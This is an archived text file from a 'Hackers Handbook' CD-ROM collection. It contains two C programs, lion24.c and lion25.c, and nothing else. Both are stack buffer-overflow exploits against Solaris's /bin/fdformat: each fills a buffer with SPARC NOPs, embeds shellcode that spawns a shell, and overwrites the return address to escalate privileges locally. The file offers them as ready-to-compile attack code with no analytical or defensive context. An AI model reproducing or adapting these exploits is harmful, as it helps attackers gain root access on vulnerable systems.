home *** CD-ROM | disk | FTP | other *** search
/ Hackers Handbook - Millenium Edition / Hackers Handbook.iso / files / exploits / lion.exploits < prev    next >
Encoding:
Text File  |  1998-10-15  |  3.0 KB  |  116 lines

  1. --------------------------- lion24.c --------------------------------- 
  2. /*
  3. Solaris 2.4
  4. */
  5.  
  6. #include <stdio.h>
  7. #include <stdlib.h>
  8. #include <sys/types.h>
  9. #include <unistd.h>
  10.  
  11. #define BUF_LENGTH 264
  12. #define EXTRA 36
  13. #define STACK_OFFSET -56
  14. #define SPARC_NOP 0xa61cc013
  15.  
  16. u_char sparc_shellcode[] =
  17.  
  18.   "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68"
  19.   "\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14" 
  20.   "\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc" 
  21.   "\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01" 
  22.   "\x91\xd0\x20\x08";
  23.  
  24. u_long get_sp(void)
  25. {
  26.   __asm__("mov %sp,%i0 \n");
  27. }
  28.  
  29. void main(int argc, char *argv[])
  30. {
  31.   char buf[BUF_LENGTH + EXTRA + 8];
  32.   long targ_addr;
  33.   u_long *long_p;
  34.   u_char *char_p;
  35.   int i, code_length = strlen(sparc_shellcode),dso=0;
  36.  
  37.   if(argc > 1) dso=atoi(argv[1]);
  38.  
  39.   long_p =(u_long *) buf ;
  40.   targ_addr = get_sp() - STACK_OFFSET - dso;
  41.  
  42.   for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++) *long_p++ = SPARC_NOP;
  43.  
  44.   char_p = (u_char *) long_p;
  45.  
  46.   for (i = 0; i < code_length; i++)
  47.   *char_p++ = sparc_shellcode[i];
  48.  
  49.   long_p = (u_long *) char_p;
  50.  
  51.   for (i = 0; i < EXTRA / sizeof(u_long); i++) *long_p++ =targ_addr;
  52.  
  53.   printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n", targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET); 
  54.   execl("/bin/fdformat", "fdformat   ", &buf[0],(char *) 0);
  55.   perror("execl failed");
  56. }
  57. ------------------------------ end of lion24.c --------------------------
  58.  
  59. -------------------------------- lion25.c ------------------------------ 
  60. /*
  61. Solaris 2.5.1 - this exploited was compiled on Solaris2.4 and tested on 2.5.1
  62. */
  63.  
  64. #include <stdio.h>
  65. #include <stdlib.h>
  66. #include <sys/types.h>
  67. #include <unistd.h>
  68.  
  69. #define BUF_LENGTH 364
  70. #define EXTRA 400
  71. #define STACK_OFFSET 704
  72. #define SPARC_NOP 0xa61cc013
  73.  
  74. u_char sparc_shellcode[] =
  75.  
  76.   "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68" 
  77.   "\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14" 
  78.   "\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc" 
  79.   "\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01" 
  80.   "\x91\xd0\x20\x08";
  81.  
  82. u_long get_sp(void)
  83. {
  84.   __asm__("mov %sp,%i0 \n");
  85. }
  86.  
  87. void main(int argc, char *argv[])
  88. {
  89.   char buf[BUF_LENGTH + EXTRA + 8];
  90.   long targ_addr;
  91.   u_long *long_p;
  92.   u_char *char_p;
  93.   int i, code_length = strlen(sparc_shellcode),dso=0;
  94.  
  95.   if(argc > 1) dso=atoi(argv[1]);
  96.  
  97.   long_p =(u_long *) buf ;
  98.   targ_addr = get_sp() - STACK_OFFSET - dso;
  99.   for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++) *long_p++ = SPARC_NOP;
  100.  
  101.   char_p = (u_char *) long_p;
  102.  
  103.   for (i = 0; i < code_length; i++)
  104.   *char_p++ = sparc_shellcode[i];
  105.  
  106.   long_p = (u_long *) char_p;
  107.  
  108.   for (i = 0; i < EXTRA / sizeof(u_long); i++) *long_p++ =targ_addr;
  109.  
  110.   printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n", targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET); 
  111.   execl("/bin/fdformat", "fdformat", & buf[1],(char *) 0);
  112.   perror("execl failed");
  113. }
  114.  
  115. --------------------------- end of lion25.c -------------------------------
  116.